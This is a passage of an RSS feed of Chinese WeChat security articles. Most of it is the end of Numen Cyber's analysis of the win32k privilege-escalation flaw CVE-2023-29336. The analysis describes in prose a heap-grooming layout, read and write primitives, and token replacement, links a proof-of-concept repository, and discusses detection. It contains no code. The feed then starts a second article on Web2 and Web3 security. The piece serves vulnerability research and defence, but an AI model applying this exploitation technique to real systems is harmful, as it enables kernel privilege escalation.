的高位）。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">此过程如在迷宫中寻找一条出路，不再赘述。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.8191489361702128" data-w="940" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=6efc1976&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqqt5xusabq6pUjhHx3WxwEgHedhibQ6UXfAew6WCOTiae8RHzog8RGlQg%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">最终我们有 xxxRedrawWindow 函数中的两个预备的方案。</span></strong></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">如果使用 GreCreateRectRgnIndirect，交换相邻内存数据的方式有两个困难。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">一是 cbwndextra 的前一个8位是一个非常不易控制的参数，并且似乎只能在有限的条件下短暂为1.另外使用这种方式时，cbwndextra 的其他相对偏移会定位到前一个对象（无论任何对象，因为这里只和窗口对象 cbwndextra 偏移本身大小有关）的最后8位，这是一个堆链表尾的安全字节，其不易受控。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">所以我们使用了第二个地址写入点，即依靠一个标志位的 AND 2 操作。但同样，由于上述的堆链表尾的安全字节不易受控的原因，我们变换以下思路：</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">我们并不写入窗口对象的 cb-extra，而是写入 HWNDClass 的 cb-extra。这是因为后者的 cb-extra 偏移相对于前者的 cb-extra 偏移更小，我们可以通过布局内存，控制前一个对象的内存数据来当作通过 xxxRedrawWindow 函数中，对对象标志判断的参数。</span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">C. 稳定的内存布局</strong></section></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.6085106382978723" data-w="940" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=aa5e64cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqicfRpZ2ib32hNfAB3OPuzAeJUqLO36lz2XEfLBHFVELuLfmzlBqKc5Ww%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">我们设计内存至少是连续三个 0x250 字节的 HWND 对象。释放掉中间那一个，构造一个 0x250 字节的 HWNDClass 对象去占用释放掉的 HWND 对象。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">前一个 HWND 对象其尾部数据作为通过 xxxRedrawWindow 中标志检验的参数。后一个 HWND 对象其菜单对象和其 HWNDClass 对象作为最终读写原语的媒介。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">我们尽量控制窗口对象和我们的的 HWNDClass 对象尽量大小一致，窗口对象的扩展数据大小也要足够大，以通过前面提到的修改第一个窗口 class 对象的额外数据大小参数。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">我们通过堆内存中的泄露的内核句柄地址来精确判断（计算按顺序排列的相邻对象的间距）我们申请的窗口对象是否按照我们预期的顺序排列。</span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">D. 读写原语的一些修改</strong></section></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">任意读原语我们仍然使用 GetMenuBarInfo(); </span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">任意写原语我们则使用 </span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">SetClas</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">sLongPtr(); </span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">除了替换 TOKEN </span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">的写入操作是依赖第二个窗口的 </span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">class </span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">对象，其他写入都是利用第一个窗口对象的 class </span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">对象使用偏移来写入。</span></strong></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="117004"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong>EXP 链接</strong></section></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;background-color: rgb(214, 214, 214);"><a href="https://github.com/numencyber/Vulnerability_PoC/tree/main/CVE-2023-29336" target="_blank">https://github.com/numencyber/Vulnerability_PoC/tree/main/CVE-2023-29336</a></span><strong><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"></span></strong></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><strong><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"><br/></span></strong></section><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="107815"><section style="margin: 8px auto 16px;text-align: left;"><section style="display: inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/vlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqzL8LL8DJkQY6ribdyMtTJdPSWjCRMNnia35e94uW19oMeDffdzlXic5Uw/640?wx_fmt=png&#34;);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 127px;padding: 15px 38px 15px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #fff;">  <strong>总  结 </strong></section></section></section></section></section></section><section data-role="outer" label="edit by 135editor"><section data-role="paragraph"><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">A. win32k 现状</strong></section></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">win32k 漏洞历史众所周知。但在最新的 windows11 预览版中，微软已经在尝试使用 Rust 重构该部分内核代码。未来该类型的漏洞在新系统可能被杜绝。</span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">B. 漏洞利用过程基本不太困难</strong></section></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">唯有如何使用释放内存重新占用的数据去控制第一次写入的方法需要比较细心的尝试外，基本不要需要使用到任何新的利用技术，</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">该类漏洞严重依赖桌面堆句</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">柄地</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">址的泄露。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"></span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">虽然其较以往有改动，</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">但如果不彻底解决这个问题，</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">对于老旧系统始终是一个不安全的隐患。</span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">C. 漏洞的发现</strong></section></section></section></section></section></section></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">分析该漏洞，我们擅自猜测该漏洞的发现可能依赖于更加完善的代码覆盖率检测。一旦系统 API 在目标函数的执行路径能够到达最深处的漏洞点，并且目前窗口对象本身也是一个多重嵌套引用状态，这个漏洞就可能被 fuzz 发现。</span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">D. 其他发现途径</strong></section></section></section></section></section></section><section data-role="paragraph"><section style="margin: 8px 8px 16px;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">对于漏洞利用检测来说，除了对于漏洞触发函数的关键点的检测，对于这类不常见的对内存布局以及对窗口或者窗口类额外数据的异常偏移读写的针对检测将是发现此类型同种漏洞的可能途径之一。</span><br/></section></section></section><section style="margin: 8px 8px 16px;line-height: 1.75em;"><span style="letter-spacing: 0.034em;"></span></section><section style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><h1 style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></h1><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="95478"><section><section style="width: 20px;"><img data-ratio="0.7301587301587301" class="rich_pages wxw-img" data-type="gif" data-w="63" data-width="100%" style="width: 100%;display: block;vertical-align: inherit;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e4f503b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxqPDCgZRMMGZ4E9R40H9L9acasIWPBOia5MicAmaSc4vYfSVeeZ9EQyRSQ%2F640%3Fwx_fmt%3Dgif"/></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);padding: 1em 1.5em;"><h1 style="margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.578px;line-height: 1.75em;text-align: left;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></strong></h1><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin: 8px 0px 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">参考</strong></section></section></section></section></section></section><section style="text-align: left;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;margin: 8px 0px 16px;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">1.<a href="https://github.com/0x5bfa/NT5.1/blob/1b390dddff9fe017e9c11a7845c67a887c3483dc/Source/XPSP1/NT/windows/core/ntuser/kernel/mnsys.c#L511" target="_blank">https://github.com/0x5bfa/NT5.1/blob/1b390dddff9fe017e9c11a7845c67a887c3483dc/Source/XPSP1/NT/windows/core/ntuser/kernel/mnsys.c#L511</a></span></section><section style="text-align: left;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;margin: 8px 0px 16px;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">2.<a href="https://github.com/L4ys/CVE-2022-21882/blob/main/CVE-2022-21882.cpp" target="_blank">https://github.com/L4ys/CVE-2022-21882/blob/main/CVE-2022-21882.cpp</a></span></section><section style="text-align: left;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;margin: 8px 0px 16px;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">3.<a href="https://github.com/KaLendsi/CVE-2022-21882/blob/main/ExploitTest.cpp" target="_blank">https://github.com/KaLendsi/CVE-2022-21882/blob/main/ExploitTest.cpp</a></span></section><section style="text-align: left;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;margin: 8px 0px 16px;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">4.<a href="https://www.zerodayinitiative.com/blog/2023/5/8/the-may-2023-security-update-review" target="_blank">https://www.zerodayinitiative.com/blog/2023/5/8/the-may-2023-security-update-review</a></span></section><section style="text-align: left;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;margin: 8px 0px 16px;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">5.<a href="https://www.real-sec.com/2022/01/technical-analysis-of-cve-2021-1732/" target="_blank">https://www.real-sec.com/2022/01/technical-analysis-of-cve-2021-1732/</a></span></section></section><section style="text-align: right;margin-top: 8px;margin-bottom: 16px;"><section style="display: inline-block;width: 20px;"><img data-ratio="0.7377049180327869" style="width: 100%;display: block;vertical-align: inherit;" data-type="gif" data-w="61" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=e7c329c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FvlekRjgqic0eAcMSsyxlUbu6xVDKyeQxquLE3D6bwjPqb7sTs5o6TMbA5icupxwtIqMdGPpFu9ibnl4AhZcnINH7g%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="text-align: right;margin-top: 8px;margin-bottom: 16px;"><section style="display: inline-block;width: 20px;"><br/></section></section><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="background-image: linear-gradient(to right, rgb(248, 34, 34), rgb(210, 1, 16));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2px 10px;"><section style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text">END</strong></section><section style="width: 100%;border-top: 2px solid rgb(255, 232, 170);height: 2px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><section style="margin-top: 8px;margin-bottom: 16px;"><br/></section></section></section></section></section><section data-role="paragraph"><section style="margin-top: 8px;margin-bottom: 16px;"><br/></section><section style="margin: 8px 8px 16px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="122336"><section style="margin: 8px auto 16px;"><section style="display: flex;justify-content: flex-end;margin-bottom: -29px;"><section style="width: 25px;height: 0px;overflow: hidden;"><br/></section></section></section><section style="margin-right: 10px;margin-left: 10px;"><section style="width: 100%;border-bottom: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;margin-top: 8px;margin-bottom: 16px;"><br/></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(71, 71, 71);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 10px 15px;"><section style="text-align: justify;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin-top: 8px;margin-bottom: 16px;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">关于 Numen Cyber</strong></section></section></section></section></section></section><section style="text-align: justify;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</span></section><section style="text-align: justify;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span></section><section style="text-align: justify;margin: 8px 8px 16px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。</span></section></section><section style="width: 100%;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;margin-top: 8px;margin-bottom: 16px;"><br/></section></section></section><section data-role="paragraph"><section style="margin-top: 8px;margin-bottom: 16px;"><br/></section></section></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;">ht</span><span style="outline: 0px;font-style: italic;letter-spacing: 0.544px;">tps://numencyber.com/ </span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section></section></section><h1 style="margin: 8px 8px 16px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span><o:p></o:p></h1><section style="margin-bottom: 16px;"><section style="display: none;margin-top: 8px;"><br/></section></section><section style="display: none;margin-bottom: 16px;"><br/></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485969">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7331e429&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247485969%26idx%3D1%26sn%3D27c558d58890fced063262124303bf5d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 09 Jun 2023 12:15:00 +0800</pubDate>
    </item>
    <item>
      <title>Numen：没有 Web2 底层的安全性，就没有 Web3 安全</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247485969&amp;idx=2&amp;sn=4c6b2549053f7310cd30a355214001ee</link>
      <description>Web2 漏洞不仅可以对个人资产造成影响，也会对交易所、资产托管企业、“矿”业等造成严重威胁。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Nolan Wang</span> <span>2023-06-09 12:15</span> <span style="display: inline-block;">北京</span>
</p>

<p>Web2 漏洞不仅可以对个人资产造成影响，也会对交易所、资产托管企业、“矿”业等造成严重威胁。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2a190913&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0fO5RawgN7aNqjulAAG5klgNujIKnIQiahh1icx3WC9oumIzdh4zNXeTEiaguLiaUMlib0gbQkGEWAMDmA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: left;margin: 8px 0px 16px;line-height: 1.75em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5550660792951542" data-s="300,640" style="" data-type="png" data-w="908" src="https://wechat2rss.xlab.app/img-proxy/?k=597b7950&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fO5RawgN7aNqjulAAG5klg5aLS09014TFFmibfaqUNegxDaWhYXNriaHCeHnvKvIlJdeHHxAOvQ6qQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-tools="135编辑器" data-id="126171" style="margin-bottom: 0px;outline: 0px;visibility: visible;"><section style="margin: 10px auto;outline: 0px;visibility: visible;"><section data-autoskip="1" style="padding: 10px 13px;outline: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: rgb(255, 250, 250);border-bottom: 1px solid rgb(206, 20, 29);visibility: visible;"><section data-role="outer" label="edit by 135editor" style="margin-bottom: 24px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;visibility: visible;"><section data-tools="135编辑器" data-id="126372" style="outline: 0px;visibility: visible;"><section style="outline: 0px;visibility: visible;"><p style="margin: 8px 8px 16px;outline: 0px;visibility: visible;text-align: left;line-height: 1.75em;"><span style="font-weight: bolder;text-align: left;outline: 0px;visibility: visible;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">引言：</span></p></section></section><p style="margin: 8px 8px 16px;outline: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: left;visibility: visible;line-height: 1.75em;"><span style="text-align: justify;color: rgb(48, 56, 65);letter-spacing: 1px;font-size: 14px;">0day 漏洞对传统网络安全的破坏力毋庸置疑。但<strong>在当前的 Web3 领域中，对于传统网络安全漏洞并没有引起足够的重视。</strong><br/></span></p><p 